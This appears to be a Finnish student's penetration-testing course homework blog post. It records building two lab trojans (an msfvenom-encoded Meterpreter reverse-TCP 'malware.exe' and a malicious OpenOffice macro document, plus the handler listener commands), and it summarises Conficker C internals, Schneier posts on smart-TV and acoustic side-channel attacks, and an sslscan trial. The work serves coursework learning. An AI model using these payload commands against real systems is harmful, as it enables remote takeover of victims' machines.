Tunkeutumistestaus – h5

Tehtävänanto

Käytin tehtävässä omaa Windows 10 Pro työasemaani ja Oracle VM VirtualBoxia, jossa Kali Linux Xfce 64 Bit.

1)”Tee troijan hevosia, vähintään kaksi erilaista. Voit tehdä esimerkiksi saastuneen asennusohjelman, dokumentteja joissa on vihamielisiä makroja sekä älypuhelin apsin. Nimeä ohjelmat siten, että haitallinen tarkoitus ilmenee MALWARE-installer.exe. Vihamielisenä hyötykuormana voi olla esimerkiksi meterpreter. Älä tee itsestään leviäviä ohjelmia. Voit käyttää troijan hevosen tekoon esim. setoolkit, msfvenom.”

Tehtävän aloitus: 23.9.2018 klo 18.18

Tehtävänä oli tehdä kaksi erilaista troijan hevosta. Käytin hevosten tekoon msfvenom:ia, joka sisältää vanhojen msfencoderin ja msfpayloadin ominaisuudet. Ajattelin aluksi tehdä saastuneen asennusohjelman. Katsoin ensin manuaalista hiukan parametrejä.

$ man msfvenom

Käynnistin metasploitablen ja postgresql-tietokannan:

$ systemctl start postgresql

$ sudo msfconsole

Selasin ja etsin payloadeja msfvenomista:

msf > msfvenom -l payloads

-l = listaa moduulit

Monissa esimerkeissä oli ”meterpreter reverse shell” -tyyppisiä payloadeja. Ymmärtääkseni jotkut näistä meterpreterin sisältävistä payloadeista kun laittaa jonkun ohjelman sisään ja käyttäjä ajaa sen ohjeman, pitäisi ohjelman ajon muodostaa meterpreter ”reverse shell” metasploitissa.

Katsoin msfvenom esimerkeistä, että tämä payloadi (”windows/meterpreter/reverse_tcp”) on aika perus. Sitten piti vielä valita sopiva encoder joten aloin etsimään niitä.

msf > msfvenom -l encoders

Valitsin ”x86/shikata_ga_nai” -endocerin, koska se on arvioitu ”erinomaiseksi”. Katsoin vielä manuaalia.

$ man msfvenom

Katsoin esimerkistä hieman mallia stringin muodostamiseen. Katsoin ip-osoitteeni ja tein stringin (ei tarvitsekaan olla metasploitissa käyttäessä msfvenomia):

$ sudo ifconfig

$ msfvenom –platform Windows -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -f exe LHOST=10.0.2.15 LPORT=4444 -o malware.exe

–platform Windows = alusta pauloadille, -p = payload, -e = endoder, -f = tiedosto tyyppi (tässätapauksessa exe, koska ollaan tekemässä Windowsille asennusohjelmaa jossa on meterpreter.) LHOST = paikallinen ip-osoite, LPORT = paikallinen portti, -o = tallentaa nimellä (tallensin nimellä malware.exe työpöydälleni.)

Valmista tuli. Seuraavaksi ajattelin tehdä tekstitiedoston, jossa on makro sisällä (Otin vaikutteita tästä videosta). Etsin sopivia makroja metasploitista komennolla:

msf > search

Löytyi Apache OpenOffice tekstidokumentti makro. Otin sen käyttöön komennolla:

msf > use exploit/multi/misc/openoffice_document_macro

use = ota käyttöön

Sitten etsin siihen sopivaa payloadia:

msf exploit(multi/misc/openoffice_document_macro) > msfvenom -l payloads

Otin saman payloadin kuin aiemminkin (”windows/meterpreter/reverse_tcp”). Otin payloadin käyttöön komennolla:

msf exploit(multi/misc/openoffice_document_macro) > set payload windows/meterpreter/reverse_tcp

set = aseta

Asetin oman localhost ip-osoitteeni (Kali VM:n IPv4-osoite):

msf exploit(multi/misc/openoffice_document_macro) > set LHOST

LPORT on jo asetettu 4444 (voi olla mikä tahansa vapaa portti). Asetin oman ip-osoitteeni serverhost:ksi (Kali VM:n IPv4-osoite):

msf exploit(multi/misc/openoffice_document_macro) > set SRVHOST

Sitten tein tiedoston:

msf exploit(multi/misc/openoffice_document_macro) > exploit

Tiedosto tallennettiin –> ”[+] msf.odt stored at /home/eetu/.msf4/local/msf.odt”

Valmista tuli, muutin vielä nimen ”macro.odt”. Tuon kun lähettää jonkun Windows-koneelle ja hän avaa sen, pitäisi minun päähäni muodostua meterpreter shell. Tämä vaatii vain sen, että hän ottaa makrot päälle tuon tiedoston avatessaan (Windows ilmoittaa varoitusviestillä siitä, jos ei ilmoita on hänellä ne heti päällä tiedoston avautuessa). Minun päässäni pitää laittaa metasploit kuuntelemaan (Sama pitää tehdä aikaisemmin tekemässäni malware.exe:ssä. Asennustiedosto pitää olla lähetettynä Windows-käyttäjälle ja tämän pitää myös klikata sitä. –> meterpreter shell).:

msf > use exploit/multi/handler

msf > set payload windows/meterpreter/reverse_tcp

msf > set LHOST <ip-osoite (sama kuin aiemmin)>

msf > set LPORT <portti (4444)>

msf > exploit

Tämän jälkeen enää vaaditaan vain sitä, että uhri avaa tiedoston (ja hyväksyy makrot, jos hänellä tulee varoitusviesti). Sitten olisi meterpreter shell.

Tehtävän lopetus: 23.9.2018 klo 22.11

Testausta

Tulossa…

2)”Mitä uusia keksintöjä Confickerissa esiteltiin? Lue jokin artikkeli Confickerista. ’conficker analysis’ on hyvä hakusana. Kiinnitä huomiosi C2:n.”

Tehtävän aloitus: 19.9.2018 klo 21.05

Conficker haittaohjelma perheeseen kuuluu Conficker A, B, C, D ja E virukset. Conficker työryhmä käyttää samoista varianteista vastaavasti nimityksiä Conficker A, B, B++, C ja E.

Keskityin tässä nyt enemmän Conficker C:n ominaisuuksiin, vaikka moni ominaisuus onkin jo ennestään tuttu toisista varianteista. Conficker C:ssä on paljon erilaisia ominaisuuksia. Jotkut sen ominaisuuksista estävät sen infektoimaa konetta poistamasta sitä järjestelmästään. Se pystyy myös obfuscoimaan dataa, täten vaikeuttaen ”reverse engineering”:iä. Siinä on myös koodia mikä auttaa sitä havaitsemaan onko se mm. asennettuna virtuaalikoneessa vai ei. Monet Confickereista levisivät exploitaamalla MS08-067 haavoittuvuutta.

Conficker.C tekee sen poistamisesta järjestelmästä tuskallista. Se yrittää mm. lukita Conficker.C DLL tiedoston levyllä aikeenaan estää sen poistaminen/skannaaminen. Service key rekisteri oikeuksien poistaminen Conficker.C DDL -tiedostolta estää myös sen tutkimisen/poistamisen admineilta. Se poistaa käytöstä turvallisuuteen ja päivityksiin liittyvät Windows palvelut (Poistaa käytöstä mm. Security Centren, Windows Defenderin, Automaattiset päivitykset, Virhe rapotoinnin jne.). Estää päivityksiin- ja tietoturvaanliittyvien nettisivujen käytön (esim. Conficker C pystyy sieppaamaan DNS-pyyntöjä ottamalla haltuunsa Windows API toiminnot dnsapi.dll:stä). Estää kaikkien tietoturvaan liittyvien työkalujen prosessien käymisen (Valvoo prosesseja ja tappaa prosessin, jos prosessi löytyy sen mustaltalistalta).

Conficker C salaa DLL-tiedoston, ja poistaa salauksen kun uusi sille varatuttu prosessi alkaa. Conficker purkaa salauksen monimuotoisesti käyttäen hyväkseen tarpeettomia API kutsuja ja spagetti koodia. Spagetti koodi tekee koodianalysoinnista vaikeaa. API kutsut taas vaikeuttavat virustorjunnan työtä, mm. hämäämällä näitä.

Conficker C tekee erilaisa tarkistuksia tarksitakseen onko se virtuaalikoneessa. Tarkistukset tapahtuvat usein pääalustus threadin alussa (Conficker C ajaa ”sldt” -ohjeet tallentaakseen paikallisen avainsana segmentti tauluun rekisterissä, tulos=”non-zero” -arvo Conficker C on virtuaalikoneessa ja ajaa ”Sleep API” kutsun, jonka aika on loputon. Myöhempi tarkistus tapahtuu p2p-alustuksen yhteydessä. Jos tässä tarkistuksessa ilmenee, että Conficker C on virtuaalikoneessa asettaa se vastaavat bittikentät alustalohkon tietoihin lähettäen sen p2p-verkkoon.

P2p-mekaniikan sisältävä Conficker.C pystyy tämän vertaisverkon avulla levittämämään Conficker-sisältöä muille vertaisverkossa oleville. P2p:n asennuttua esim. rekisteriin ja lukittua p2p-tiedoston levylle nukkuu se satunnaisesti 5 – 35 minuuttia ennen p2p-verkon avaamista. Avaamisen jälkeenkin se nukkuu 30 – 90 minuuttia. Tämän jälkeen se aloittaa ”callhome”-menettelyn. Conficker.C toimii p2p:ssä sekä klienttinä että palvelimena jakaessaan muiden Confickerien kanssa dataa. Conficker.C etsii muita vertaisverkossa olevia käyttämällä neljää skannaus threadiä, jokaiseen threadiin se generoi 100 IP-osoitetta. Conficker.C käyttää bootstrap kommunikointia toisten Conficker.C peersien kanssa käyttäen ”IP-to-port” osoite kartoitusta. Jokaiselle generoidulle IP-osoitteelle käytetään sen hetkistä internetaikaa seedin arvona sekoittaakseen IP-osoitteen bitit laskeakseen neljä portti numeroa, kaksi sokettia UDP:lle ja kaksi TCP:lle. Conficker C peersien välinen data on salattu digitaalisen allekirjoituksen avulla ja data on säilöttynä tiedostoina p2p kansiossa, joka pystyy sisältämään vain 64 tuoreinta tiedostoa.

Confickerit päivittävät itseään satunnaisesti generoimiensa domainien kautta. Conficker C generoi 50 000 ”call-home” domainia joka päivä kun taas aikaisemmat versiot generoivat vain 250.  Näistä 50 000:sta se valitsee satunnaisesti 500 joka päivä, joiden kautta se yrittää hakea päivityksiä. Aikaisemmat versiot ottivat yhteyttä 250 domainiin kahden tunnin välein. Conficker C ottaa yhteyttä generoimiinsa domain nimiin satunnaisesti.

Tehtävän lopetus: 19.9.2018 klo 23.34

3)”Blogeja. Etsi Krebsin tai Schneierin blogeista ideoita pentestiin. Näissä blogeissa on paljon turvallisuuteen liittyviä aiheita, tee erityisesti huomioita tunkeutumistestaukseen liittyen

Tehtävän aloitus: 20.9.2018 klo 22.14

Älytelevisio haltuun lähetyssignaalin avulla.

Bruce Schneier:in blogiviestissä (”Smart TV Hack via the Broadcast Signal” – 20.4.2017 – klo 7.41) kerrotaan kuinka hakkeroida älytelevisioon lähetyssignaalin avulla. Blogiviestissä kerrotiin kuinka soveltuvuusselvityksessä käytettiin edullista lähetintä, jonka tuottamiin signaaleihin istutettiin pahansuopia komentoja, ja jotka sitten pystyi lähettämään lähellä oleviin laitteisiin (mm. älytelevisio, jossa esim. wlan päällä). Se toimi myös Samsungin täysin päivitettyihin älytelevisioihin exploitaamalla kahta tietoturva-aukkoa web selaimessa, jotka toimivat taustalla TV:n ollessa päällä. Hyökkäyksellä sai haltuunsa mm. root-oikeudet TV:seen.

Schneier viittaa blogissaan Dan Goodin kirjoittamaan artikkeliin (”Smart TV hack embeds attack code into broadcast signal – no access required” – 4.1.2017 – 12.07). Dan Goodin kertoo, että hieman korjaamalla hyökkäystä on mahdollista hyökätä laajaankirjoon erilaisia TV:itä, joissa on buginen web selain.

Hyökkäyksen demoaja, turvallisuuskonsultti Rafael Scheel kertoo Ars:lle: ”Once a hacker has control over the TV of an end user, he can harm the user in a variety of ways. – Among many others, the TV could be used to attack further devices in the home network or to spy on the user with the TV’s camera and microphone.” https://arstechnica.com/information-technology/2017/03/smart-tv-hack-embeds-attack-code-into-broadcast-signal-no-access-required/

Tätä voisi joskus kokeilla, jos vain on mahdollista ja on osaamista. Älytelevisiot ovat mielenkiintoinen pentestauskohde, jos vain tietää mitä tekee.

Tauko: 20.9.2018 klo 23.23

Jatkuu: 22.9.2018 klo 14.14

”Active Acoustic Side-Channel Attacks”

Bruce Schneier viittaa blogiviestissään (”Using a Smartphone’s Microphone and Speakers to Eavesdrop on Passwords” – 5.9.2018 – klo 6.05) Ibrahim Ethem Bagci:n kirjoittamaan artikkeliin (”SonarSnoop: Active Acoustic Side-Channel Attacks” – 30.8.2018 – klo 12.42), jossa puhutaan ”Active Acoustic Side-Channel” -hyökkäyksestä.

Älypuhelimen kaiuttimista päästetään akustisia signaaleja, jonka kaiku sitten nauhoitetaan mikrofonilla. Kaiku signaalien perusteella voidaan tehdä profiili käyttäjästä sen perusteella miten laitteen käyttäjä käyttää laitettaan. Mm. henkilön älypuhelimen näytön lukituskuvio pystytään päättelemään hänen sormensa liikkeistä. Tätä tietoturvauhkaa voidaan artikkelin mukaan pienentää käyttämällä uudenlaista akustista sivukanavaa.

Mielenkiintoinen artikkeli, jäi vielä vähän epäselväksi miten hyökkäys käytännössä toimii. Voi olla hankalaa toteuttaa pentesteissä, jos ei tiedä miten hyökkäys toteutetaan teknisesti.

Tehtävän lopetus: 22.9.2018 klo 15.10

4)”Safarionline. Opettele ja testaa jokin uusi Pentesting-tekniikka kirjasta tai videosta, jonka löydät Safarionlinesta.”

Tehtävän aloitus: 22.9.2018 klo 15.28

Rekisteröidyin safaribooksonline.com -käyttäjäksi. He tarjosivat ilmaista 10 päivän trialia, joten palvelun käytöstä ei tarvinnut vielä maksaa mitään. Etsin heidän sivuillaan ”Topics” -kohdasta hakusanalla ”kali”. Silmäilin ja luin hieman hakutulokseen vastanneita kirjoja ja videoita. Tulin valinneeksi lopulta ”Web Penetration Testing with Kali Linux – Third Edition” -kirjan, jonka ovat kirjoittaneet Juned Ahmed Ansari ja Gilberto Najera-Gutierrez (jukaisija: Packt Publishing).

Silmäillessäni ja lukiessani kirjaa mietin, että mitä uutta voisin testata pentestingissä. Olisin ensin valinnut Shodanin testaamisen, mutta lopulta päädyin valisemaan SSLScan -työkalun, joka liittyy: ”Attacking Flaws in Cryptographic Implementations” ja ”Indetifying weak implementations of SSL/TLS”. Luettuani asiaan liittyvät kohdat aloin testaamaan SSLScan:ia Kalissa. SSLScan:lla voi siis tunnistaa mm. SSL:n vääriä määrityksiä, vanhentuneet protokolla versiot sekä heikot salausohjelmat jne.

Laitoin apache2-webserverin päälle:

$ sudo service apache2 start

Kokeilin ensimmäistä kirjassa kerrottua komentoa, jolla saa selville clientin salausohjelmien tilan. Listaa kaikki tuetut salaukset.

$ sslscan –show-ciphers localhost:80

–show-ciphers = näyttää kaikki tuetut salakirjoitukset, jotka sslscan tunnistaa.

Tuli pitkä lista tuettuja salakirjoituksia. Paljon löytyi erityyppistä SHA:ta ja RSA:ta yms.. Kirjassa luki että vihreällä teksillä lukevat jutut on turvattu, eli OK, mutta oranssilla ja punaisella lukeviin teksteihin pitää kiinnittää huomiota. TLS 1.2, 1.1 ja 1.0 eivät olleet haavoittuvaisia ”heartbleed”:lle. Palvelin ei tukenut TLS Fallback SCSV:tä.

Kokeilin kirjassa kerrottua toista komentoa, jolla saa sertifikaatti tietoa näkyviin:

$ sslscan –show-certificate –no-ciphersuites eetupsite.wordpress.com:443

–show-certificate = näyttää sertifikaatti tietoja, –no-ciphersuites = älä skannaa tuettuja salakirjousohjelmia.

Tuli esiin mm. SSL-sertifikaatti ja julkisia avaimia (mm.RSA) omilta wordpress-sivuiltani. Komennon tulokset voi tallentaa XML:ksi lisäämällä ”-xml=”.

Tehtävän lopetus: 22.9.2018 klo 19.20

Lähteet:

Karvinen, Tero: Oppitunnit 18.9.2018, Tunkeutumistestaus -kurssi.

VirtualBox 2018. https://www.virtualbox.org/

Kali 2018 – Downloads. https://www.kali.org/downloads/

Cornell University Library – SonarSnoop: Active Acoustic Side-Channel Attacks. https://arxiv.org/abs/1808.10250

Schneier on Security – Using a Smartphone’s Microphone and Speakers to Eavesdrop on Passwords. https://www.schneier.com/blog/archives/2018/09/using_a_smartph.html

Schneier on Security – Smart TV Hack via the Broadcast Signal. https://www.schneier.com/blog/archives/2017/04/smart_tv_hack_v.html

Ars Technica – Information Technology – Smart TV hack embeds attack code into broadcast signal-no access required. https://arstechnica.com/information-technology/2017/03/smart-tv-hack-embeds-attack-code-into-broadcast-signal-no-access-required/

Sophos 2018 – Conficker Analysis. https://www.sophos.com/fr-fr/medialibrary/PDFs/marketing%20material/confickeranalysis.pdf

Wikipedia 2018 – Conficker. https://en.wikipedia.org/wiki/Conficker

O’Reilly’s Safari online 2018. https://www.safaribooksonline.com/

Youtube 2018 – Creating Malicious Office Documents with Kali Linux. https://youtu.be/wSpNUHCsn4Q

Amazon 2018 – Web Penetration Testing with Kali Linux – Third Edition: Explore the methods and tools of ethical hacking with Kali Linux. https://www.amazon.com/Web-Penetration-Testing-Kali-Linux/dp/1788623371

Karvinen, Tero 2018: Penetration Testing Course – ict4tn027-3001 – Autumn 2018 – period 1 – 5 op, h5. http://terokarvinen.com/2018/penetration-testing-course-autumn-2018

Muuta:

Kaikki kuvat on otettu Gyazo-kuvankaappausohjelmaa käyttämällä.

Tätä dokumenttia saa kopioida ja muokata GNU GPL (versio 2 tai uudempi) mukaisesti. https://www.gnu.org/licenses/gpl.html

Mainokset

Vastaa

Täytä tietosi alle tai klikkaa kuvaketta kirjautuaksesi sisään:

WordPress.com-logo

Olet kommentoimassa WordPress.com -tilin nimissä. Log Out /  Muuta )

Google photo

Olet kommentoimassa Google -tilin nimissä. Log Out /  Muuta )

Twitter-kuva

Olet kommentoimassa Twitter -tilin nimissä. Log Out /  Muuta )

Facebook-kuva

Olet kommentoimassa Facebook -tilin nimissä. Log Out /  Muuta )

Muodostetaan yhteyttä palveluun %s